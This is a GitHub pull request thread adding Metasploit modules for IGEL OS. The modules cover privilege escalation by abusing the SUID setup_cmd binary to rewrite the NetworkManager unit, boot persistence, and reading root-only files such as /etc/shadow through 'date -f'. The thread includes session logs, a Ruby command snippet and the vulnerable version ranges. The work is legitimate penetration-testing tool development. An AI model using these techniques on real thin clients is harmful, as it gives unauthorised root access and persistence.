Skip to content

Conversation

@Zedeldi
Copy link

@Zedeldi Zedeldi commented Nov 17, 2025

Add 2x exploit modules and 1x post module for IGEL OS.

Module Description
modules/exploits/linux/local/igel_network_priv_esc.rb Exploit SUID executable to modify NetworkManager systemd unit, allowing arbitrary code to be executed as root
modules/exploits/linux/persistence/igel_persistence.rb Write a payload to disk or as a base64-encoded string in registry, and configure to automatically launch on boot
modules/post/linux/gather/igel_dump_file.rb Dump a file as root via SUID executable with date -f

Verification

See documentation:

@h00die
Copy link
Contributor

h00die commented Nov 17, 2025

@Zedeldi there are new persistence mechanisms to make things like starting the handler for long periods of time, and cleanup easier. I'd suggest moving your module to the persistence folder and using the mixin. See https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/example_linux_persistence.rb for the example.

@Zedeldi
Copy link
Author

Zedeldi commented Nov 17, 2025

Thanks, I've moved the persistence module to linux/persistence and added the mixin.
Let me know if anything else needs changing.

@bwatters-r7 bwatters-r7 self-assigned this Nov 17, 2025
@bwatters-r7
Copy link
Contributor

@Zedeldi what is the best way to get a session on IGEL? I have installed a VM, but the application launcher does not have a way to run arbitrary commands (I don't see anything like 'terminal'), and though ssh seems open, the local user user and root are both in the deny list for ssh.
I'm sure I'm missing something easy, but it is not readily apparent.

image image

@Zedeldi
Copy link
Author

Zedeldi commented Nov 19, 2025

@bwatters-r7 No worries - it's a little unusual, as it's generally configured to be a thin client, so that level of access is normally restricted. If you open "Setup" (the spanner/wrench icon) > expand "Accessories" in the left sidebar > "Terminals" > Add button in top-right corner > "Ok", you should get a "Local Terminal" icon on your desktop, which will run as root by default, unless there's another user configured, in which case it should prompt you. You can use su user as root to run the session as user and test the privilege escalation.

Alternatively, you can configure SSH via "System" > "Remote Access" > "SSH Access". There's another user called "ruser" designed for this, but you can allow root login too.

@bwatters-r7
Copy link
Contributor

bwatters-r7 commented Nov 19, 2025

While running the privesc, the network service restart command timed out, then when I checked the VM, the network connection was down, and the network service was hosed:
image

I'm going to reset the VM and then increase the timeout for the network reset restart command and try again.

EDIT:
Looks like a restart fixed the network service; I did not have to reset the VM to a known good state.

@Zedeldi
Copy link
Author

Zedeldi commented Nov 19, 2025

I could replicate this when the payload exits with a segfault, causing the ExecStartPost of the overridden systemd unit to fail. You should be able to confirm what happened with journalctl -xeu NetworkManager.service and finding the first attempt after restarting. When using linux/x64/meterpreter/reverse_tcp, it should work as expected though.

Status 203/EXEC suggests the file is missing, which is to be expected as the module cleans it up. I was in two minds about this, as - if the payload executes correctly - the session will be created, then the file can be deleted safely, removing the payload from tmpfs. However, if it fails, the systemd unit will try to execute a file that no longer exists. I could modify the module to not clean up the payload if preferred.

It's worth noting that most of IGEL OS is read-only, as the majority of the system is mounted from SquashFS images, so any changes will be reset on reboot, with the exception of few persistent areas such as /license or directly modifying the SquashFS images on their proprietary filesystem.

@bwatters-r7
Copy link
Contributor

I increased the timeout for the restart command and swapped it to print output to the screen. It looks like it is getting the elevation, but I'm not getting the payload execution:

msf exploit(linux/local/igel_network_priv_esc) > sessions -i -1
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer     : 10.5.132.157
OS           : IGEL V11 (Linux 6.1.42)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: user
meterpreter > background
[*] Backgrounding session 3...
msf exploit(linux/local/igel_network_priv_esc) > reload
[*] Reloading module...
msf exploit(linux/local/igel_network_priv_esc) > show options

Module options (exploit/linux/local/igel_network_priv_esc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  2                yes       The session to run this module on


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.5.135.201     yes       The listen address (an interface may be specified)
   LPORT  7852             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux x86_64



View the full module info with the info, or info -d command.

msf exploit(linux/local/igel_network_priv_esc) > set session 3
session => 3
msf exploit(linux/local/igel_network_priv_esc) > run
[*] Started reverse TCP handler on 10.5.135.201:7852 
[*] Uploading payload to target
[*] Writing config to target
[*] Applying service config
[*] 
[*] Restarting service
[*] setup_cmd: Setting UID and USER to 0 and root
setup_cmd: Execute [/config/bin/network] as root
[*] Exploit completed, but no session was created.
msf exploit(linux/local/igel_network_priv_esc) > sessions -i -1
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer     : 10.5.132.157
OS           : IGEL V11 (Linux 6.1.42)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: user
meterpreter > 

@Zedeldi
Copy link
Author

Zedeldi commented Nov 19, 2025

msf > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp
PAYLOAD => linux/x64/meterpreter_reverse_tcp
msf exploit(multi/handler) > setg LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.7:55286) at 2025-11-19 16:49:19 +0000

meterpreter > getuid
Server username: user
meterpreter > bg
[*] Backgrounding session 1...
msf exploit(multi/handler) > use exploit/linux/local/igel_network_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf exploit(linux/local/igel_network_priv_esc) > show options

Module options (exploit/linux/local/igel_network_priv_esc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.1     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux x86_64



View the full module info with the info, or info -d command.

msf exploit(linux/local/igel_network_priv_esc) > set SESSION 1
SESSION => 1
msf exploit(linux/local/igel_network_priv_esc) > run
[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Uploading payload to target
[*] Writing config to target
[*] Applying service config
[*] Restarting service
[*] Sending stage (3090404 bytes) to 192.168.56.7
[+] Deleted /tmp/CuEwznJA
[+] Deleted /tmp/UeDioYkR
[+] Deleted /tmp/NSdaRzTc
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.7:46944) at 2025-11-19 16:50:22 +0000

meterpreter > getuid
Server username: root

Just tested by creating a session as user, then running the privilege escalation module to create a new session as root.
The payload is deleted but the session is still created, as it is executed first.

It seems to work consistently when using PAYLOAD => linux/x64/meterpreter/reverse_tcp, but I use linux/x64/meterpreter_reverse_tcp for the initial session 🤷

@bwatters-r7
Copy link
Contributor

@Zedeldi what IGEL version are you using? Could you run sysinfo at the Meterpreter prompt?

@Zedeldi
Copy link
Author

Zedeldi commented Nov 19, 2025

@Zedeldi what IGEL version are you using? Could you run sysinfo at the Meterpreter prompt?

meterpreter > sysinfo
Computer     : 192.168.56.7
OS           : IGEL V11 (Linux 5.17.15)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

IGEL OS Workspace Edition 11.08.440.


I'm happy with those suggested changes. I'll get them committed and add the check to the persistence module.

@bwatters-r7
Copy link
Contributor

I'm using v11.09.390, which is below the 11.10 that is vulnerable, but your v11.08 and my 11.09 go from Linux kernel 5.x to 6.x.....
The earliest version on their website is 11.09.100 from 2023, so I'm going to grab that and test.

@Zedeldi
Copy link
Author

Zedeldi commented Nov 19, 2025

Not sure why yet, but it seems that modify_service does not work with create_process, but does with cmd_exec.

  def modify_service(config_file)
    command = <<~COMMAND.strip
      /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")' << EOF
      env SYSTEMD_EDITOR="/bin/cp #{config_file}" /config/bin/setup_cmd /config/bin/network edit
      EOF
    COMMAND

    script_file = write_payload(command, datastore['WritableDir'], 0o700)
    create_process(script_file)
  end

This method relies on env, as internally this results in calling systemctl edit network-manager.service and the editor must be non-interactive.

I notice that with cmd_exec it hangs for a while on "Applying service config" before proceeding, whereas create_process is almost immediate.

Any ideas?

@bwatters-r7
Copy link
Contributor

I notice that with cmd_exec it hangs for a while on "Applying service config" before proceeding, whereas create_process is almost immediate.
Any ideas?

I wonder if create_process is asynchronous by default and we're hitting a race condition......
Regardless, you are right. It works just fine if I use cmd_exec for the script file.
Let me dig a bit deeper into the create_process method to see.

Also, thanks so much for the quick responses!

@bwatters-r7
Copy link
Contributor

Well, crud- I misunderstood our own guidance!
create_process is only if we're passing in arguments, so the use of cmd_exec for the script is just fine. I sincerely apologize for that.

@Zedeldi
Copy link
Author

Zedeldi commented Nov 19, 2025

No problemo! I've reverted modify_service to use cmd_exec again. Nice to learn about create_process anyways.
Everything should now work, with a check available for the persistence module.
Let me know if you need anything else.

@bwatters-r7
Copy link
Contributor

bwatters-r7 commented Nov 19, 2025

FYI, I'm seeing igel_dump_file work on 10.09.100, but not 10.09.310? Are we sure about anything under 11.10.100 being vulnerable?

msf post(linux/gather/igel_dump_file) > set session 3
session => 3
msf post(linux/gather/igel_dump_file) > run
[*] Executing command on target
[*] Command completed:
setup_cmd: Avoid setting initgroup to root
setup_cmd: Execute [/bin/date] as user
/bin/date: /etc/shadow: Permission denied
[*] Post module execution completed
msf post(linux/gather/igel_dump_file) > set session 4
session => 4
msf post(linux/gather/igel_dump_file) > run
[*] Executing command on target
[*] Command completed:
games:!*:20411::::::
man:!*:20411::::::
proxy:!*:20411::::::
backup:!*:20411::::::
list:!*:20411::::::
irc:!*:20411::::::
gnats:!*:20411::::::
root::20411:0:99999::::
rtkit:*:20411:0:99999:7:::
user::20411:0:99999::::
ruser:*:20411:0:99999::::
[*] Post module execution completed

@Zedeldi
Copy link
Author

Zedeldi commented Nov 19, 2025

Ah okay, unfortunately the patch date/version was a little sketchy, so it was half a guess.

The patch was to disallow specific commands to be elevated by setup_cmd, which is an SUID executable (in modern versions, it uses capabilities rather than the SUID bit), hence the following:

setup_cmd: Avoid setting initgroup to root
setup_cmd: Execute [/bin/date] as user

The patch to the privilege escalation vulnerability prevented any argument to be passed to systemctl, except safe ones, e.g. restart, start, stop, etc.

It may be safer to go with any version under 11.09.310 (not including .310) then. It was over a year ago now, so my memory probably isn't quite accurate.

Copy link
Contributor

@bwatters-r7 bwatters-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks so much for these modules- three modules in one PR can seem daunting, but there's really only minor stuff here I'd like to see changed, so sweet job on your first PR to us!
We also review PRs as a group Thursday morning, so I expect there will be a few suggestions coming in tomorrow morning as well.

@Zedeldi
Copy link
Author

Zedeldi commented Nov 24, 2025

@bwatters-r7 & @msutovsky-r7 - I believe all requested changes are now completed, but please let me know if there's anything else that needs improving.
I have enjoyed exploring the MSF API a bit more, and thanks for all the help!

EDIT: Just confirming the vulnerable versions, as I believe the date vulnerability was patched in 11.09.310, but the network privilege escalation was patched later. Will create a check method for this and comment once completed.

@Zedeldi
Copy link
Author

Zedeldi commented Nov 24, 2025

I've added check methods where applicable to ensure the version is vulnerable.
There were some discrepancies between when these vulnerabilities were planned to be patched and actually were, so after a bit of searching for a needle in a haystack, the following should be correct:
igel_network_priv_esc -> patched in 11.10.150
igel_dump_file -> patched in 11.09.260

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants